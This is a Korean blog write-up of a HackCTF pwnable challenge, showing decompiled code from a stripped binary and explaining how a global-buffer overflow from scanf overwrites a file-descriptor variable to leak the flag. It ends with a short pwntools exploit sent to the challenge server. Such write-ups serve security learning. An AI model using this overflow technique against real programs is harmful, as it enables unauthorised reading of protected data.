tmxklab

[HackCTF/Pwnable] j0n9hyun's secret 본문

War Game/HackCTF

[HackCTF/Pwnable] j0n9hyun's secret

tmxk4221 2020. 8. 15. 20:06

1. 문제

nc ctf.j0n9hyun.xyz 3031

 

1) mitigation 확인

  • stripped된 파일이라 함수들에 대한 심볼 정보가 없다.
  • main함수를 직접 찾아야 한다. (start() → __libc_start_main() → main())

 

2) 문제 확인

  • 실행하여 이름을 입력하면 종료되고 flag, top_secret파일이 생성된다.
  • 안에 아무 내용도 없다..

 

3) 코드 흐름 확인

3-1) main()

__int64 sub_4009C9()
{
  int v0; // edx
  int v2; // [rsp+Ch] [rbp-4h]

  sub_40FDD0(off_6CA748, 0LL, 2LL, 0LL);
  sub_40FDD0(off_6CA740, 0LL, 2LL, 0LL);
  sub_40FDD0(off_6CA738, 0LL, 2LL, 0LL);
  dword_6CCE98 = sub_43F670("top_secret", 114LL, v0);
  sub_40F3D0((__int64)"input name: ");
  sub_40F500((__int64)"%s", &unk_6CCD60);
  v2 = sub_43F6D0((unsigned int)dword_6CCE98, &unk_6CCD6A, 300LL);
  sub_43F730(1LL, &unk_6CCD6A, v2);
  return 0LL;
}
  • sub_40f3d0은 printf함수와 같이 출력하는 함수인 것 같고
  • sub_40f500은 "%s"포맷 지정자랑 변수를 주는거 보니(그리고 아까 입력 값 받았음) scanf함수인 것 같다.

 

3-2) sub_43f670()

unsigned __int64 __fastcall sub_43F670(const char *a1, __int64 a2, int a3)
{
  unsigned __int64 result; // rax
  __int64 v4; // rax
  int v5; // edx
  unsigned __int64 v6; // rdx

  if ( dword_6CD2FC )
  {
    v4 = sub_442B70();
    sub_442BD0(v4, a2, sys_open(a1, a2, v5));
    result = v6;
    if ( v6 < 0xFFFFFFFFFFFFF001LL )
      return result;
    goto LABEL_5;
  }
  result = sys_open(a1, a2, a3);
  if ( result >= 0xFFFFFFFFFFFFF001LL )
  {
LABEL_5:
    __writefsdword(0xFFFFFFD0, -(int)result);
    result = -1LL;
  }
  return result;
}
  • open함수로 추정된다. → sys_open

 

3-3) sub_43f6d0()

unsigned __int64 __fastcall sub_43F6D0(unsigned int a1, char *a2, size_t a3)
{
  unsigned __int64 result; // rax
  __int64 v4; // rax
  size_t v5; // rdx
  unsigned __int64 v6; // rdx

  if ( dword_6CD2FC )
  {
    v4 = sub_442B70();
    sub_442BD0(v4, a2, sys_read(a1, a2, v5));
    result = v6;
    if ( v6 < 0xFFFFFFFFFFFFF001LL )
      return result;
    goto LABEL_5;
  }
  result = sys_read(a1, a2, a3);
  if ( result >= 0xFFFFFFFFFFFFF001LL )
  {
LABEL_5:
    __writefsdword(0xFFFFFFD0, -(int)result);
    result = -1LL;
  }
  return result;
}
  • read함수로 추정된다. → sys_read

 

3-4) sub_43f730()

unsigned __int64 __fastcall sub_43F730(unsigned int a1, const char *a2, size_t a3)
{
  unsigned __int64 result; // rax
  __int64 v4; // rax
  size_t v5; // rdx
  unsigned __int64 v6; // rdx

  if ( dword_6CD2FC )
  {
    v4 = sub_442B70();
    sub_442BD0(v4, a2, sys_write(a1, a2, v5));
    result = v6;
    if ( v6 < 0xFFFFFFFFFFFFF001LL )
      return result;
    goto LABEL_5;
  }
  result = sys_write(a1, a2, a3);
  if ( result >= 0xFFFFFFFFFFFFF001LL )
  {
LABEL_5:
    __writefsdword(0xFFFFFFD0, -(int)result);
    result = -1LL;
  }
  return result;
}
  • write함수로 추정된다. → sys_write

보기좋게 변환해보자

 

main함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // edx
  int len; // [rsp+Ch] [rbp-4h]

  setvbuf(off_6CA748, 0LL, 2LL, 0LL);
  setvbuf(off_6CA740, 0LL, 2LL, 0LL);
  setvbuf(off_6CA738, 0LL, 2LL, 0LL);
  fp = open("top_secret", 'r', v3);
  printf((__int64)"input name: ");
  scanf((__int64)"%s", &name);
  len = read((unsigned int)fp, &buf_fp, 300LL);
  write(1LL, &buf_fp, len);
  return 0;
}
  • top_secret파일을 열어서 fp포인터에 저장한다.
  • name변수에 입력 값을 저장한다. → overflow발생
  • buf_fp변수에 top_secret파일의 내용을 저장한다.(0x12cbytes만큼)
  • buf_fp에 저장한 size만큼 화면에 출력한다.

 

전역변수)

  • name : 0x6ccd60
  • buf_fp : 0x6ccd6a
  • fp : 0x6cce98

 


2. 접근방법

 

근데 이상함 top_secret파일이 생성되는 것는 알겟는데 왜 flag파일이 생성되는 것일까

 

ida로 확인

unsigned __int64 __fastcall sub_4009AE(__int64 a1, __int64 a2, int a3)
{
	return open("flag", 'r', a3);
}

근데 메인함수 루틴에는 top_secret파일을 open하는 과정이 있는데 flag파일을 open하는 과정은 없다.

ida의 xref기능을 이용하여 어디서 sub_4009ae를 호출하는지 확인해보자 → sub_4009ae는 가독성이 없으니깐 flag함수로 이름을 변경하였다.

 

unsigned __int64 __fastcall init_proc(__int64 a1, __int64 a2, __int64 a3)
{
  return flag(a1, a2, a3);
}
  • init_proc()에서 flag함수를 호출한다.
unsigned __int64 __fastcall sub_401600(__int64 a1, __int64 a2, __int64 a3)
{
  __int64 v3; // r13
  __int64 v4; // rbx
  signed __int64 v5; // r14
  unsigned __int64 result; // rax

  v3 = a3;
  v4 = 0LL;
  v5 = off_6C9EE8 - funcs_401638;
  result = init_proc(a1, a2, a3);
  if ( v5 )
  {
    do
      result = ((__int64 (__fastcall *)(_QWORD, __int64, __int64))funcs_401638[v4++])((unsigned int)a1, a2, v3);
    while ( v4 != v5 );
  }
  return result;
}
  • sub_401600()에서 init_proc()를 호출한다.
// positive sp value has been detected, the output may be wrong!
void __usercall __noreturn start(__int64 a1@<rax>, __int64 a2@<rdx>)
{
  unsigned int v2; // esi
  unsigned int v3; // [rsp-8h] [rbp-8h]
  __int64 _0; // [rsp+0h] [rbp+0h]

  v2 = v3;
  *(_QWORD *)&v3 = a1;
  sub_400DB0(
    (__int64 (__fastcall *)(_QWORD, __int64, __int64))main,
    v2,
    (__int64)&_0,
    (void (__fastcall *)(_QWORD, __int64, __int64))sub_401600,
    (__int64)sub_401690,
    a2,
    (__int64)&v3);
}
  • start함수에서 sub_401600()를 호출한다.
  • sub_400db0은 __libc_start_main()이므로 다시 고쳐주자
// positive sp value has been detected, the output may be wrong!
void __usercall __noreturn start(__int64 a1@<rax>, __int64 a2@<rdx>)
{
  unsigned int v2; // esi
  unsigned int v3; // [rsp-8h] [rbp-8h]
  __int64 _0; // [rsp+0h] [rbp+0h]

  v2 = v3;
  *&v3 = a1;
  _libc_start_main(main, v2, &_0, _libc_csu_init, _libc_csu_fini, a2, &v3);
}

최종적으로 start() → libc_start_main() → libc_csu_init → init_proc() → flag() 요런 식으로 호출되는 것 같다.

따라서, init작업을 하면서 flag파일을 open하고 main함수를 호출하여 top_secret파일을 open한다.

 

그럼 다시 돌아와서 메인 함수 루틴에서는 flag파일을 open하는 과정은 없지만 top_secret파일을 open하고 화면에 출력하는 과정만 존재하여 flag파일의 내용을 읽을 수 없다.

 

이번에는 디버깅을 통해 main함수의 top_secret파일을 open하는 부분을 살펴보자

  • open(top_secret, "r")호출 전 상황이다.

  • 확인해보면 top_secert파일을 읽고 파일 디스크립터 값이 0x4로 rax에 세팅되어 있다.

 

파일 디스크립터는 기본적으로 0(stdin), 1(stdout), 2(stderr)값이 미리 할당되고 이후에 open하게 되면 fd값은 0, 1, 2다음인 0x3을 할당받게 된다.

 

위에 top_secret파일 디스크립터 값은 0x4인 것으로보아 main함수 이전인 init작업 때 flag파일을 open하면서 0x3으로 먼저 세팅되어 다음 숫자인 0x4로 세팅된 것 같다.

 

따라서, 우리는 main함수의 read함수를 호출할 때 top_secret파일 디스크립터 값 0x4대신에 flag파일 디스크립터 값인 0x3을 건네줘야 한다.

 

top_secret파일 open이후에 scanf함수에서 name(전역변수)에 입력 값을 받을 때 overflow를 발생하는 것을 알고 있다. 이 점을 이용하여 name변수 밑에 fp(전역변수)값을 0x4대신에 0x3으로 덮으면 될 것이다.

 


3. 풀이

1) 검증

위 사실이 사실인지 로컬에서 임의로 flag파일과 top_secret파일을 생성하여 확인해보자(flag파일 내용 : FLAG, top_secret 파일 내용 : TOP_SECRET)

  • 성공

 

2) 익스코드

from pwn import *

context.log_level = "debug"

#p = process("./secret")
p = remote("ctf.j0n9hyun.xyz", 3031)

payload = "A"*0x138
payload += p64(3)

p.sendlineafter("name: ", payload)

p.interactive()

 

3) 실행 결과

 


4. 몰랐던 개념

1) stripped된 파일에서 main함수 찾기

 

시스템 해킹

해쿨러 readelf -a ./binary | more 하시면 EntryPoint 주소가 나오구요 그게 start함수고 start함수에서 맨 마지막에 어떤 함수를 호출하는데 그게 __libc_start_main함수입니다 그리고 __libc_start_main함수를 호출��

www.hackerschool.org

 

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] ChildHeap  (0) 2020.08.15
[HackCTF/Pwnable] babyfsb  (0) 2020.08.15
[HackCTF/Pwnable] babyheap  (0) 2020.08.15
[HackCTF/Pwnable] Unexploitable #2  (0) 2020.08.15
[HackCTF/Pwnable] 풍수지리설  (0) 2020.08.15
Comments